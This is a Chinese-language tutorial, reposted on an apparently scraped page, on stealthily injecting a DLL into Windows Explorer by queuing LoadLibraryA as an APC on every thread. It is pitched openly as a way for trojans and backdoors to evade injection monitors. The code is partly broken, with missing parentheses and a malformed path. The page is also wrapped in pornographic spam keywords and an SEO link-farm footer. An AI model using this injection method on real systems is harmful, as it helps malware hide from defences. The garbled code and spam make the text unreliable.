国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > 綜合 > 正文

暴力注入Explorer

2024-07-21 02:29:13
字體:
供稿:網(wǎng)友

最大的網(wǎng)站源碼資源下載站,

        向一個(gè)運(yùn)行中的進(jìn)程注入自己的代碼,最自然莫過于使用createremotethread,
如今遠(yuǎn)線程注入已經(jīng)是泛濫成災(zāi),同樣的監(jiān)測遠(yuǎn)線程注入、防止遠(yuǎn)線程注入的工具也
舉不勝舉,一個(gè)木馬或后門啟動(dòng)時(shí)向explorer或ie的注入操作就像在自己臉上寫上
“我是賊”一樣。
    用戶態(tài)代碼想要更隱蔽地藏身于別的進(jìn)程,就應(yīng)該在注入的環(huán)節(jié)隱蔽自己的行
為。下面就介紹一種非常簡單不過比較暴力的方法,給出的示例為在explorer里加
載自己的dll。
    首先提到的就是一個(gè)api:queueuserapc

    dword queueuserapc(
      papcfunc pfnapc,  // apc function
      handle hthread,   // handle to thread
      ulong_ptr dwdata  // apc function parameter
    ;

    大家對(duì)這個(gè)api應(yīng)該并不陌生,它直接轉(zhuǎn)入了系統(tǒng)服務(wù)ntqueueapcthread從而利
用keinsertqueueapc向給出的目標(biāo)線程的apc隊(duì)列插入一apc對(duì)象。倘若kideliverapc
順利的去構(gòu)造apc環(huán)境并執(zhí)行我們的代碼那一切就ok了,只可惜沒有那么順利的事,
apcstate中userapcpending是否為true有重要的影響,結(jié)果往往是你等到花兒都謝了
你的代碼還是沒得到執(zhí)行。在核心態(tài)往往不成問題,自己動(dòng)手賦值,可是用戶態(tài)
程序可不好做,怎么辦?其實(shí)最簡單的,不好做就不做啰,讓系統(tǒng)去干。
    實(shí)際上應(yīng)用程序在請求“alertable”的等待時(shí)系統(tǒng)就會(huì)置userapcpending為
true(當(dāng)kedelayexecutionthread/kewaitformultipleobjects/kewaitforsingleobject
使用testforalertpending時(shí)就有可能,此外還有ketestalertthread等,機(jī)會(huì)還是有的
),最簡單的例子,目標(biāo)線程調(diào)用sleepex(***, true)后我們插入apc代碼就會(huì)乖乖執(zhí)
行了。
    比較幸運(yùn)的是explorer進(jìn)程中一般情況下總有合我們意的線程,于是最簡單但并不
優(yōu)美的辦法就是枚舉explorer中所有線程,全數(shù)插入,示意如下:

    ......
    dword ret;
    char *dllname = "c://mydll.dll";
    int len = strlen(dllname) + 1;
    pvoid param = virtualallocex(hprocess, null, len,
                                 mem_commit | mem_top_down,
                                 page_readwrite);
    if (param != null)
    {
        if (writeprocessmemory(hprocess, param,
                               (lpvoid)dllname, len, &ret))
        {
            for (dword p = 0; p < numberofthreads; p ++)
            {
                hthread = openthread(thread_all_access, 0, threadid[p]);
                if (hthread != 0)
                {
                    injectdll(hprocess, hthread, (dword)param);
                    closehandle(hthread);
                }
            }
    }
    ......
    
    其中injectdll:
    void injectdll(handle hprocess, handle hthread, dword param)
    {
        queueuserapc(
            (papcfunc)getprocaddress(getmodulehandle("kernel32.dll", "loadlibrarya", 
            hthread, 
            (dword)param
            ;
    }
    
    loadlibrarya被調(diào)用后即將你的dll加載入目標(biāo)進(jìn)程explorer,運(yùn)行是在目標(biāo)進(jìn)程的某
個(gè)線程環(huán)境中,一般你的dll可以這時(shí)創(chuàng)建自己的線程。
    這樣,整個(gè)過程雖然有些暴力(原因很明顯,比如原本userapcpending為true的線程
被弄成了false等等),并且僅是一次性插入,缺陷是明顯的,不過插入過程的確更為隱蔽。

    針對(duì)使用這種的“無恥”方法的程序,檢/監(jiān)測程序就需要增加一些判斷,比如對(duì)
ntqueueapcthread的合理監(jiān)測等等。

有時(shí)候,那些最古老的木馬偽裝的好反而不容易被殺。。。
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 葫芦岛市| 伊吾县| 满城县| 京山县| 耿马| 长子县| 土默特右旗| 磐石市| 涟源市| 射阳县| 清远市| 肃南| 奇台县| 浙江省| 老河口市| 海原县| 通城县| 兴海县| 五寨县| 正定县| 垫江县| 鄂州市| 苗栗县| 汪清县| 永善县| 钦州市| 富裕县| 定南县| 静宁县| 靖宇县| 延吉市| 涪陵区| 元朗区| 凤冈县| 北碚区| 辽中县| 金川县| 定州市| 土默特左旗| 黎城县| 通榆县|